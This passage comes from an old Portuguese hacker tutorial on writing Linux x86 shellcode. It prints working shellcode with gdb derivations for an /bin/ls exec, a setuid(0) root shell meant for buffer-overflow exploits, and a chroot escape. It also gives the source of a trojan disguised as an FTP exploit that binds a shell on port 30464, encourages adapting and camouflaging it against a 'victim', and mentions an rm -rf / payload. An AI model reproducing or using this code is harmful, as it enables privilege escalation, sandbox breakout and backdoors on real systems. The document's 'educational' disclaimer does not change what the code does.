testsc.c heap1 shell1.c vulnerable heap1.c shellcode vulnerable.c Podemos ver que ele funfa(funciona) perfeitamente!!:) Mas voce nao iria estudar e pesquisar muito somente para executar um comando desse tipo..Nao sei mano,vai ver ele pode ser util para alguma coisa remotamente, talvez envolvendo sockets, mas coloquei ele aih para ilustrar de forma clara e simples a alteracao basica de um shellcode.Olhando para o exemplo acima voce pode tirar algumas conclusoes apressadas, como trocar o /bin/sh por /bin/zsh, ou mesmo por /bin/tcsh, ou qualquer outra shell, mas na verdade nao funciona deste modo, teremos sim que ralar para fazermos shellcodes para cada uma delas, o exemplo citada nos da permissao para executarmos alguns comandos(somente alguns) de tamanho igual shell "/bin/sh" ou da que estah linkada para ela, como em muitos sistemas encontramos /bin/bash, que eh o meu caso.Veremos como fazer alguns outros tipos de shell mais abaixo. Para ilutrar e voce poder entender melhor o que estou dizendo, veja o mesmo exemplo acima mas com mais caracteres apos a execucao de ls: /* Exemplo de shellcode, para mostrar que nao faz efeito colocarmos mais caracteres do que o suportado pelo nosso exemplo inicial */ #include #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/lsissoquetahentrandoaquiehparailustrar"; void main() { int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } Compilamos normalmente o exemplo acima, e em seguida executamos: [localhost:/]$ gcc -o ls2.c ls2.c [localhost:/]$ ./ls2 avancadas popshbug.c shell3.c shellt.c teso1sh.s bossh1.c scsh shellba shelltc teso2sh.c bossh1.s scsh.c shellba.c shelltc.c teso2sh.s difshe shec shellc shelltc.s teso3sh.c difshe.c shechroot.c shelln.c shelltcasm teso3sh.s difshe.s shechroot1 shellpron1 shelltcasm.c testshtc ls2 shell shellpron1.c shelltcasm.s testshtc.c ls2.c shell.c shellpron2 shelltcsh trojans passshe.c shell2 shellpron2.c shelt passwd shell2.c shellsetu tcsh.sh popshbug shell3 shellsetu.c teso1sh.c Como podemos ver, nao adiantou nada metermos um monte de caracteres no nosso shellcode, pois ele soh procurou executar somente o tamanho de bytes que fora permitido.Se voce tah querendo saber como solucionar isto, leia a parte 7.4. :) 7.2 SHELLCODE P/ SETUID(0) ---------------------------------------------------- Esse exemplo vai para o pessoal que meche com buffer overflows, vamos inserir o codido do programa abaixo em nosso shellcode inicial, o do /bin/sh; /* Codigo de setuid() */ #include main() { setuid(0); } Compilamos e em seguida executamos gdb; [localhost:/]$ gcc -o setui setui.c -static -ggdb [localhost:/]$ gdb setui GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Como vamos inserir o codigo, nao precisamos disassemblar main, basta setuid. (gdb) disassemble setuid Dump of assembler code for function setuid: 0x80483e4 : push %ebp 0x80483e5 : mov %esp,%ebp 0x80483e7 : push %ebx 0x80483e8 : mov $0x17,%eax 0x80483ed : mov 0x8(%ebp),%ebx 0x80483f0 : int $0x80 0x80483f2 : mov %eax,%edx 0x80483f4 : test %edx,%edx 0x80483f6 : jge 0x8048408 0x80483f8 : neg %edx 0x80483fa : push %edx 0x80483fb : call 0x8050b0c <__normal_errno_location> 0x8048400 : pop %edx 0x8048401 : mov %edx,(%eax) 0x8048403 : mov $0xffffffff,%eax 0x8048408 : pop %ebx 0x8048409 : mov %ebp,%esp 0x804840b : pop %ebp 0x804840c : ret 0x804840d : nop 0x804840e : nop 0x804840f : nop End of assembler dump. (gdb) O codigo eh enorme, mas voce jah sabe, somente as primeiras 6 linhas nos interessam...abaixo estao elas: 0x80483e4 : push %ebp 0x80483e5 : mov %esp,%ebp 0x80483e7 : push %ebx 0x80483e8 : mov $0x17,%eax 0x80483ed : mov 0x8(%ebp),%ebx 0x80483f0 : int $0x80 Lembrando que queremos somente ateh a instrucao int $0x80, que faz com que nosso programa entre no modo kernel. Traduzindo o que essas 6 linhas representam: 0x80483e4 : push %ebp 0x80483e5 : mov %esp,%ebp 0x80483e7 : push %ebx Procedimento Preludio, ou inicial.Velho esquema, nao iremos inserir essas 3 linhas no nosso codigo por razoes obvias, jah temos um procedimento inicial(preludio) no nosso shellcode. 0x80483e8 : mov $0x17,%eax 0x80483ed : mov 0x8(%ebp),%ebx 0x80483f0 : int $0x80 Essas sim nos interessam, pois sao as responsaveis pela execucao do codigo que nos interessa, neste caso setuid(0).Para nao termos bytes nulos(null bytes), alteramos essas linhas da seguinte forma: Pegamos: Substituimos por: ---------------------- --------------------------- mov $0x17,%eax xorl %eax,%eax mov 0x8(%ebp),%ebx xorl %ebx,%ebx mov $0x17,%al ------------------------------------------------------------------- Deixamos esta como esta: int $0x80 Depois juntado tudo teremos o shellcode para setuid(0), assim: xorl %eax,%eax xorl %ebx,%ebx movb $0x17,%al int $0x80 Acrescentando ele ao inicio de nosso shellcode /bin/sh inicial, teremos: #include main(){ __asm__(" xorl %eax,%eax xorl %ebx,%ebx movb $0x17,%al int $0x80 jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" "); } Depois disso compilamos e executamos o gdb.Lembrando, compile com -static e -ggdb, para nao dar erros. (gdb) disassemble main Dump of assembler code for function main: 0x8048150

: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : xor %eax,%eax 0x8048155 : xor %ebx,%ebx 0x8048157 : mov $0x17,%al 0x8048159 : int $0x80 0x804815b : jmp 0x804817c 0x804815d : pop %esi 0x804815e : mov %esi,0x8(%esi) 0x8048161 : xor %eax,%eax 0x8048163 : mov %al,0x7(%esi) 0x8048166 : mov %eax,0xc(%esi) 0x8048169 : mov $0xb,%al 0x804816b : mov %esi,%ebx 0x804816d : lea 0x8(%esi),%ecx 0x8048170 : lea 0xc(%esi),%edx 0x8048173 : int $0x80 0x8048175 : xor %ebx,%ebx 0x8048177 : mov %ebx,%eax 0x8048179 : inc %eax 0x804817a : int $0x80 0x804817c : call 0x804815d 0x8048181 : das 0x8048182 : bound %ebp,0x6e(%ecx) 0x8048185 : das 0x8048186 : jae 0x80481f0 <__new_exitfn+52> 0x8048188 : add %cl,0x90c35dec(%ecx) End of assembler dump. Depois vamos na marra pegar a representacao em hexa de todo nosso shellcode. (gdb) x/xb main+3 0x8048153 : 0x31 (gdb) x/xb main+4 0x8048154 : 0xc0 (gdb) x/xb main+5 0x8048155 : 0x31 (gdb) x/xb main+6 0x8048156 : 0xdb (gdb) x/xb main+7 0x8048157 : 0xb0 (gdb) . . . (gdb) x/xb main+56 0x8048188 : 0x00 (gdb) x/xb main+57 0x8048189 : 0x89 (gdb) x/xb main+58 0x804818a : 0xec (gdb) x/xb main+59 0x804818b : 0x5d (gdb) x/xb main+60 0x804818c : 0xc3 (gdb) x/xb main+61 0x804818d : 0x90 Chegamos no tal NOP, aqui paramos. Veremos agora como ele fica inserido no codigo C. /* shellcode setuid(0) em /bin/sh */ #include #include char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; main(){ int *retorno; retorno = (int *)&retorno +2; (*retorno) = (int)shellcode; } Compile normalmente "gcc -o shellsetuid shellsetuid.c".Depois execute, voce verah que ele funcione perfeitamente.Eu coloquei a linha correspondente ao codigo que acrescentamos na primeira linha, para voce visualizar melhor.Voce pode perceber que as instrucoes e seus referentes codigos em hexa depois de "\xcd\x80" (int $0x80) na primeira linha ateh o fim sao identicas ao nosso shellcode inicial.Isso mesmo amigo, voce pode sim somente trabalhar em cima do codigo que quer acrescentar, sem a necessidade de ficar perdendo tempo, principalmente quando quer passar para a representacao dele em hexa, coloquei o esquema acima para que voce vah logo se acostumando, e tambem para que nao haja duvida quanto as instrucoes em representacao hexadecimal.Esse shellcode pode ser usado em programas vulneraveis a buffer overflows, mas que quando exploitados o fazem cair na sua propria shell, colocando setuid(0), voce cairah numa root shell. 7.4 - QUEBRANDO CHROOT() ------------------------- Bem, para quem nao sabe o que eh chroot(), aqui vai uma breve explicacao. chroot() eh uma funcao usada comumente para nao permitir acesso de um usuario a outros diretorios, chroot() seta um diretorio para ser o diretorio raiz do usuario, nao permitindo que ele tenha acesso a outros diretorios "antes" daquele setado.Um exemplo pratico disso, nos vemos quase sempre quando entramos num servidor de ftp como usuario anonymous, nos caimos geralmente dentro do diretorio raiz "/", mas na verdade devemos estar no diretorio "/home/ftp" do servidor em questao.Entao amigos, o que foi feito foi ter setado o diretorio "/home/ftp", atraves da funcao chroot() para fazer com que este diretorio seja o diretorio raiz "/" para um determinado usuario, no nosso caso, anonymous.Mas isso eh bastante comun, vemos isso em servidores de home pages gratuitas, servidore de ftp com acesso via conta, enfim, diversos sao os casos.Soh que mais uma vez, o pessoal agiu, descobriram que atraves de um buffer overflow, ou mesmo pela execucao de um shellcode como root(atravez de um programa suid),que era possivel inserir codigo malioso que quebrasse essa protecao.Isso vem sendo durante muito tempo usado, principalmente em "remote buffer overflows" em servidores de ftp. O que vai ser explicado aqui nao eh como se faz overflows para se quebrar isso, mas sim, uma forma de executar um codigo como root que "quebre" esta defesa. Veremos um esquema para se "quebrar" isso, mas eu conheco outro esquema ainda, veja depois o item 7.4. /* Primeiro tipo de shellcode para quebrar chroot() */ #include #include main() { mkdir("sh",0755); chroot("sh"); /* Colocamos muitos "../", voce pode ver a funcionalidade deles executando em sua shell, verah que cairah no diretorio raiz, lembrando: "Tem muito servidor de http por aih que permitem atraves disso que se leia um arquivo do sistema! */ chroot("../../../../../../../../../../../../../../../../"); } Compilamos com as opcoes para gerar codigo estatico, em seguida carregamos o programa no debugador gdb. [localhost:/]$ gcc -o shechroot1 shechroot1.c -static -ggdb [localhost:/]$ gdb shechroot1 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Se voce digitar "disassemble main" verah a chamada para as 3 funcoes ou system calls responsaveis pela quebra, nao colocarei aqui, mas de uma olhada para que nao haja duvidas. Seguimos abaixo desassemblando o codigo de mkdir. (gdb) disassemble mkdir Dump of assembler code for function mkdir: 0x8048404 : push %ebp 0x8048405 : mov %esp,%ebp 0x8048407 : push %ebx 0x8048408 : mov $0x27,%eax 0x804840d : mov 0x8(%ebp),%ebx 0x8048410 : mov 0xc(%ebp),%ecx 0x8048413 : int $0x80 0x8048415 : mov %eax,%edx 0x8048417 : test %edx,%edx 0x8048419 : jge 0x804842b 0x804841b : neg %edx 0x804841d : push %edx 0x804841e : call 0x8050b58 <__normal_errno_location> 0x8048423 : pop %edx 0x8048424 : mov %edx,(%eax) 0x8048426 : mov $0xffffffff,%eax 0x804842b : pop %ebx 0x804842c : mov %ebp,%esp 0x804842e : pop %ebp 0x804842f : ret End of assembler dump. (gdb) Para mkdir, tudo que nos importa sao as primeiras 7 linhas.Dessas 7 linhas, como as 3 primeiras correspondem ao procedimento inicial ou preludio, somente as 4 restantes de fato irao nos interessar, eis elas aih embaixo: 0x8048408 : mov $0x27,%eax 0x804840d : mov 0x8(%ebp),%ebx 0x8048410 : mov 0xc(%ebp),%ecx 0x8048413 : int $0x80 O codigo acima faz o seguinte: mov $0x27,%eax Coloca o numero correspondente a mkdir na tabela system call(39) em %eax. mov 0x8(%ebp),%ebx Coloca o endereco da string "sh" em %ebx. mov 0xc(%ebp),%ecx Coloca o endereco a string "0755" em %ecx. Para o codigo acima, retiramos os null bytes e teremos: xorl %eax,%eax xorl %ecx,%ecx movb $0x27,%al leal 0x5(%esi),%ebx Essa instrucao lea aih estah para executar o seguinte: "%esi" possui referencia a "/bin/sh" antes de usar esta intrucao, no caso, esse /bin/sh, eh aquele no nosso primeiro shellcode inicial, onde esse codigo para quebrar chroot() vai ser inserido.Esta instrucao(leal) carrega o endereco de "sh", nao de "/bin/sh", e armazena em %ebx. incb %ch movb $0xed,%cl int $0x80 Em cima aih, complica um pouco.O que estah acontecendo eh o seguinte, lembrando que CH eh o registrador counter high, contador de memoria alta.CX, eh CH + CL, (HIGH e LOW), respectivamente.Inicialmente temos: CX = 0000 0001 0000 0000 Incrementando %ch (incb %ch), mudaremos todo %cx, como explicado no capitulo sobre registradores. Entao, agora teremos: CX = 0000 0001 1110 1101 Pegando soh uma parte dele e movendo sobre cl (Contador Baixo), teremos: CX = 000 111 101 101 Preste bem atencao, olhe para o CX acima que foi incrementado, veja que nos pegamos as tres ultimas partes(0001 1110 1101) e dividimos em quatro partes de 3(000 111 101 101), foi por isso que fiz questao de ensinar a conversao usando notacoes,amigo. Se voce prestar atencao, pegarah os respectivos numeros decimais de cada numero binario aih soh olhando: 000 111 101 101 0 7 5 5 Que eh exatamente nosso codigo referido a permissao do diretorio "sh" que estarah sendo criado.Nao se assuste com tudo isso, amigo, foi soh para ilustrar, para nossos intuitos, o codigo em C faz quase todo o trabalho. Vejamos entao como ficarah o codigo para mkdir(): xorl %eax,%eax xorl %ecx,%ecx movb $0x27,%al leal 0x5(%esi),%ebx incb %ch movb $0xed,%cl int $0x80 Eis aih nosso codigo.mkdir() estah exterminado, agora vejamos para chroot().Voltemos novamente ao gdb. (gdb) disassemble chroot Dump of assembler code for function chroot: 0x8048430 : push %ebp 0x8048431 : mov %esp,%ebp 0x8048433 : push %ebx 0x8048434 : mov $0x3d,%eax 0x8048439 : mov 0x8(%ebp),%ebx 0x804843c : int $0x80 0x804843e : mov %eax,%edx 0x8048440 : test %edx,%edx 0x8048442 : jge 0x8048454 0x8048444 : neg %edx 0x8048446 : push %edx 0x8048447 : call 0x8050b58 <__normal_errno_location> 0x804844c : pop %edx 0x804844d : mov %edx,(%eax) 0x804844f : mov $0xffffffff,%eax 0x8048454 : pop %ebx 0x8048455 : mov %ebp,%esp 0x8048457 : pop %ebp 0x8048458 : ret 0x8048459 : nop 0x804845a : nop 0x804845b : nop End of assembler dump. De todo este codigo aih, voce jah deve ter percebido, o que vai nos interessar eh somente as linhas: 0x8048434 : mov $0x3d,%eax 0x8048439 : mov 0x8(%ebp),%ebx 0x804843c : int $0x80 Vejamos em detalhes: mov $0x3d,%eax Coloca o numero correspondente ao system call chroot(61) em %eax. mov 0x8(%ebp),%ebx Coloca o endereco de "sh" em %ebx. int $0x80 Sai para o modo kernel. Retirando os byte nulos, teremos: xorl %eax,%eax leal 0x5(%esi),%ebx movb $0x3d,%al int $0x80 Para esse codigo nao tem muito segredo, mas agora entrarah um pouquinho da necessidade de se saber trabalhar e escrever em assembly.O chroot() em nosso exemplo, possui duas chamadas, podemos ver isso desassemblando main, a primeira chamada se refere ao que descrevemos acima, chroot("sh"), a segunda eh a que vou tentar explicar abaixo: chroot("../../../../../../../../../../../../../../../../"); O codigo para isto, segue abaixo: movl $0xffd0d1d2,%ebx negl %ebx xorl %ecx,%ecx movb $0x10,%cl pushl %esi addl %ecx,%esi movl %ebx,(%esi) addl $0x3,%esi loopne -0x7 popl %esi movb $0x3d,%al leal 0x10(%esi),%ebx int $0x80 Vamos com bastante calma, vou explicar o que significa isso aih: movl $0xffd0d1d2,%ebx Pega o endereco de "../" e guarda em %ebx. negl %ebx Eh uma instrucao logica, indicando que %ebx nao eh maior ou igual a string armazenada(aquele monte de ../). xorl %ecx,%ecx movb $0x10,%cl Um contador nao nulo, preparado p/ contar ateh 16(16 vezes ../). pushl %esi addl %ecx,%esi movl %ebx,(%esi) addl $0x3,%esi Nada demais aih em cima, onde tah sendo adicionado ao source index os 16 ../ . loopne -0x7 popl %esi O loop para geracao logica. Voce tah vendo aih um numero negativo -0x7, o loopne salta se o registrador CX, no caso %ecx for diferente de -0x7. movb $0x3d,%al Coloca o numero correspondente ao system call chroot(61) em %al. leal 0x10(%esi),%ebx Aqui sim ocorre a "copia" 16 vezes propriamente dita de "../". int $0x80 Volta para o modo kernel. Como voce pode ver, nao eh nada facil fazer shellcodes um pouco mais complexos.Isso foi soh para voce ter uma breve ideia, logico, dependendo do seu nivel de conhecimentos em assembly, isso tudo pode parecer fichinha.Como quero descrever soh o basico, ateh mesmo este exemplo foge ao escopo deste tutorial, mas foi soh para voce se empolgar mais!! Vejamos agora como fica isso aih num programa C. #include #include #include char shellcode[]= "\xeb\x4f" /* jmp 0x4f */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x5e" /* popl %esi */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\xb0\x27" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xfe\xc5" /* incb %ch */ "\xb1\xed" /* movb $0xed,%cl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ "\xf7\xdb" /* negl %ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ "\x56" /* pushl %esi */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl %0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ "\x5e" /* popl %esi */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\xe8\xac\xff\xff\xff" /* call -0x54 */ "/bin/sh"; /* .string \"/bin/sh\" */ void main(){ int *retorno; retorno = (int *)&retorno +2; (*retorno) = (int)shellcode; } Voce pode testa-lo em sua maquina, mas ele eh util, mais para o pessoa que tentarah executar algum comando malicioso como root.De qualquer forma, ele eh bastante util para propositos educacionais!!:) 7.4 Dividas Para o Proximo Tutorial ------------------------------------ Eu vou ficar devendo algumas coisas que jah estao preparadas amigo, mas como voce pode ver, este assunto nunca estah completo, tem mais de 2000 linhas de texto aqui, e isso eh apenas o basico, queria colocar mais coisas, mas vai ficar para o proximo, ou mesmo para um mais avancado, nao sei se feito por mim ou algum outro membro do grupo, quem sabe ateh outros grupos nao se antecipam, nao sei, mas espere um pouco. De ante-mao, digo algumas coisas, eh possivel se fazer muitos shellcodes, o que se faz necessario eh um maior aprendizado de assembly, e como sempre, bons algoritmos ajuda.Eu dei algumas dicas de shellcodes que podem ser feitos facilmente amigo, nao investi em truques, pode-se usar truques que facilitam as coisas, mas tem que saber o que se estah fazendo, como aqui eh voltado para NewBie, nao direi truques ainda. Gostaria de deixar um aviso do porque da necessidade de se conhecer ao menos o basico sobre isso, em essencial sobre assembly.Essas linhas eu direciono para os kiddies, que pegam todo e qualquer exploit e jah vai logo compilando e executando, em busca da primeira rede bugada que encontrar, gente que anda em canais querendo trocar shell, como se o pessoal que manja mesmo estivesse interessado nisso, se liga mano, o pessoal que manja, primeiro nao sai por aih dizendo que invadiu isso ou aquilo, ou mesmo chega ao ponto de trocar shells, existem muitos motivos para eles fazerem isso, coisas que kiddies nao entenderiam. Mas de qualquer forma, amigo Newbie, veja um exemplo de um trojan horse inserido num shellcode abaixo. ------------------------ trojanshell1.c ------------------------------ /* Exemplo de um trojan horse que abre uma porta(30464) com shell do usuario que o executou. Desenvolvido por Nash Leon com base no Shellcode do Taeho Oh ( ohhara@postech.edu ). Agradecimentos a Magic Kiss e ao Unsekurity Team. nashleon@yahoo.com.br */ #include #include #include #include #include #include #include #include char shellcode[]= "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0" "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06" "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89" "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31" "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80" "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04" "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd" "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80" "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f" "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff"; void trojan(); main(int argc, char *argv[]){ char *vitima; int Meusocket; struct hostent *he; struct sockaddr_in lascado; if(argc < 2){ printf("Uso: %s \n",argv[0]); exit(0); } vitima = argv[1]; he = gethostbyname(vitima); if (he < 0){ printf("Host Desconhecido mano!!\n"); exit(1); } Meusocket = socket(AF_INET, SOCK_STREAM, 0); if(Meusocket < 0){ fprintf(stderr,"Erro no socket mano!!\n"); exit(1); } lascado.sin_family = he->h_addrtype; lascado.sin_port = htons(21); lascado.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(lascado.sin_zero), 8); if(connect(Meusocket,(struct sockaddr * )&lascado, sizeof(lascado)) ==0){ printf("Erro em connect() mano!!\n"); close(Meusocket); trojan(); } else { printf("Falha no overflow mano!!\n"); close(Meusocket); } void trojan(){ int *retorno; retorno = (int *)&retorno +2; (*retorno) = (int)shellcode; } ----------------------------------------------------------------- Eh obvio e evidente que este trojan pode ser melhorado, mas coloquei ele simples assim, soh para dar uma ideia do perigo que eh voce executar exploits dos outros sem ter conhecimento de no minimo o que estarah sendo executado no programa.Qualquer um com poucos conhecimentos em C veria que as ultimas linhas sao suspeitas, mas e quanto ao shellcode, que vem parecido em muitos exploits??? Os kiddies executam algo sem nem mesmo ter ideia do perigo.O trojan acima abre a porta 30464, que jah eh amplamente difundida nesse exemplo de shellcode na internet, mas ela pode facilmente ser alterada, e entre as dividas que deixarei, eh explicar passo por passo, a escrita e funcionamento deste shellcode. Se voce tem alguma vitima, voce terah que adaptar esse exploit, mas fica aih o conceito, voce poderia muito bem alterar o conteudo, camuflar a funcao trojan, ou mesmo inserir o codigo dentro de main, existem dezenas de formas de se melhorar isso aih em cima, coloquei simples porque nao quero ser responsavel por nada!!Escrevi esse trojan apenas com proposito educacional!!Nao me responsabilizo por eventuais danos que alguem pode gerar com o uso dele!!! Outra ilustracao do perigo que os kiddies passam quando executam exploits dos outros, eh executar exploits como root.Alguem poderia muito bem fazer um trojan igual a este, mas ao inves de abrir uma porta com shell, executaria um comando como por exemplo: " rm -rf /". Isso eh um aviso para aquele pessoal que pensa que entrar para esse mundo underground eh brincadeira!!! Pretendo em tutoriais futuros disponibilizar shellcodes quase tao perigosos quanto este, vai depender de alguns fatores.Voce jah deve estar contemplando muitas teorias amigo..:)...Mande brasa. Tou devendo a solucao de muitas coisas que ficaram pendentes aqui, como executar comandos de tamanho maior de /bin/ls ou /bin/sh. Tambem tou devendo uma maior insercao em shellcodes contra filtros. Um shellcode para acrescentar usuario ou usuarios num passwd.Muita coisa boa, em breve, estarah disponivel para voce amigo.Fique atento a home page do grupo Unsekurity Team, estaremos sempre disponibilizando tutoriais e textos diversos de nivel, voltado mais a galera que de fato quer aprender. Espero que os exemplos tenham ficado claros, e que sirvam de algum modo a voce nessa longa jornada que estamos fazendo. ---------------- 8 - TERMINANDO | ---------------- Ultimo capitulo dessa nossa fase inicial de escrita de shellcodes, nada mais que uma breve despedida. 8.1 DIFERENCAS ENTRE A SINTAXE AT&T E A SINTAXE INTEL ------------------------------------------------------- * Os nomes dos registradores sao precedidos por "%" , alguns exemplos sao: %eax, %ebx, %ecx, %edx, %esi, %edi e %ebp, que correspondem a ax,bx,cx,dx si,di e bp na sintaxe INTEL. * Na sintaxe INTEL, primeiro vem o destino, depois a fonte(source) ou origem.Exemplo: mov ah,002. Na sintaxe AT&T eh o inverso primeiro vem a fonte ou origem(source), e no fim o destino, exemplo: movl $2, %eax * Operandos imediatos sao marcados com um prefixo $, como em addl $3,%eax (adiciona valor 3 p/ registrador %eax). * O tamanho do operando eh especificado com um sufixo do tipo da instrucao. O sufixo eh b para byte(8 bits), w para word(16 bits), e l para long(32 bits).Exemplo: movw %dx,%ax. Todavia, em muitos sistemas, na sintaxe AT&T, o uso desses sufixos sao opcionais, onde por padrao eh long, ou 32 bits. * A falta de prefixo p/ um operando indica que ele eh um endereco de memoria. Como vimos movl $foo,%eax coloca o endereco da variavel foo no registrador %eax, mas movl foo,%eax coloca o conteudo da variavel foo no registrador %eax. 8.2 - Links e Referencias --------------------------- Sao varias as referencias usadas para a escrita deste tutorial, algumas compilacoes minhas aqui mesma, foram usadas, coisas bem antigas,de qualquer forma, as referencias abaixo podem e devem ser uteis para um Newbie. "Smash The Stack For Fun e Profit" - PHRACK 49-14, by Aleph 0ne. Pode ser obtido em : www.phrack.com www.2600.com/phrack/ "Advanced Buffer Overflows" - Taeho Oh. Pode ser obtido em: http://postech.edu/~ohhara www.securityfocus.com http://packetstorm.securify.com "Curso de assembly" - Frederico Pissarra. Pode ser obtido em: www.assembly.8m.com "Turbo C Avancado" - Herbet Schildt. Editora: McGraW-Hill Alguns links onde voce pode obter mais informacoes sobre assembly: www.assembly.8m.com www.ice-digga.com/programmig/bmp.html www.strangecreations.com/library/assembly/tutor www.nuvisionmiami.com/kip/asm.htm 8.3 - Consideracoes Finais --------------------------- Bem amigo, aqui eh soh bobagem, se nao tiver disposto, pode fechar o editor de texto ou o browser, ou qualquer programa que esteja usando para ler isso, bem como o caderno ou folhas de papel. Escrever tutoriais voltados para Newbie eh ao mesmo tempo gratificante e dificil.Gratificante porque dah a sensacao de estarmos empurrando uma gigantesca roda de informacoes, num constante ciclo em busca de maior liberdade de informacao, bem como de troca de informacoes.Sao poucos os textos sobre escrita de shellcodes em portugues, nao quero com isso desmerecer os que os fizeram, ao contrario, sou grato sim a esse pessoal que de fato contribui ou contribuiu durante algum tempo para que esta roda continuasse girando.Mais uma vez direciono umas palavras a "elite" de fucadores nacional, ateh quando??? Vemos muitos garotos fazendo bobagens como mudar home pages e etc, mas de quem eh a culpa?? Se existem culpados, nao quero acusar o pessoal da seguranca, pois o pessoal da seguranca tem se mostrado fraco porque ateh hoje soh se depararam com garotos que no maximo derrubam um provedor ou mudam uma home page, mas todos nos sabemos que por tras das cameras tem crackers capazes de fazer o que quiserem com sistemas que valem milhoes, tendo acesso a todo tipo de informacao, desde cartoes de creditos, ateh mesmo projetos que podem valer milhoes ou mesmo destruir milhoes.Nao gosto de crackers, e nao eh para eles que escrevo, sei que aqui no pais, existem pessoas com decadas, isso mesmo, muitos anos de hacking, mas que se encontram quietos.Cada um possui o direito de agir e pensar da forma que quiser, mas quando os kiddies mudam uma home page e a midia cai em cima, chamando-os de "hackers", creio que, de uma forma ou de outra, esses que se encontram quietos tambem sao culpados por tal situacao.Isso tudo jah aconteceu lah fora, tah acontecendo aqui, os mais espertos sabem no que isso vai dar e jah estao se precavendo.Depois de muitos anos resolvi aparecer no cenario porque de fato temo que hackers que verdade paguem o preco pelo que os kiddies e crackers(sabemos que existem e ateh quem sao) andam fazendo.Nao se apavorem quando pintar uma operacao nos moldes da Sun Devil aqui no pais, porque temos ateh entao sido cumplices do jogo que a "seguranca" tem tramado. Manifesto a parte, gostaria de agradecer ao pessoal que tornou possivel este tutorial, sao tantas pessoas, mas se esqueci de alguem, espero a compreensao do mesmo, o tempo continua a ser meu inimigo. Thanks Magic Kiss, module, raynox, xf86config, psych, e-brain, cs0, t[rex], Blind_Bard, Dinamite_, d3m3ns, CeZiNHa, meu grande amigo zip, thunderoffire, ocorvo, arse, kaervek, cdma, Matt_Salermo, Thanath0s e aos demais grupos que contribuem mundialmente para que haja maior liberdade de informacao. Fiquem atentos a home page do Unsekurity Team, novos materias devem estar disponiveis por estes dias.Sem mais. Nash Leon vulgo coracaodeleao. ------------------------------ EOF ------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 14 ]=-=[ Básico Buffer Overflow 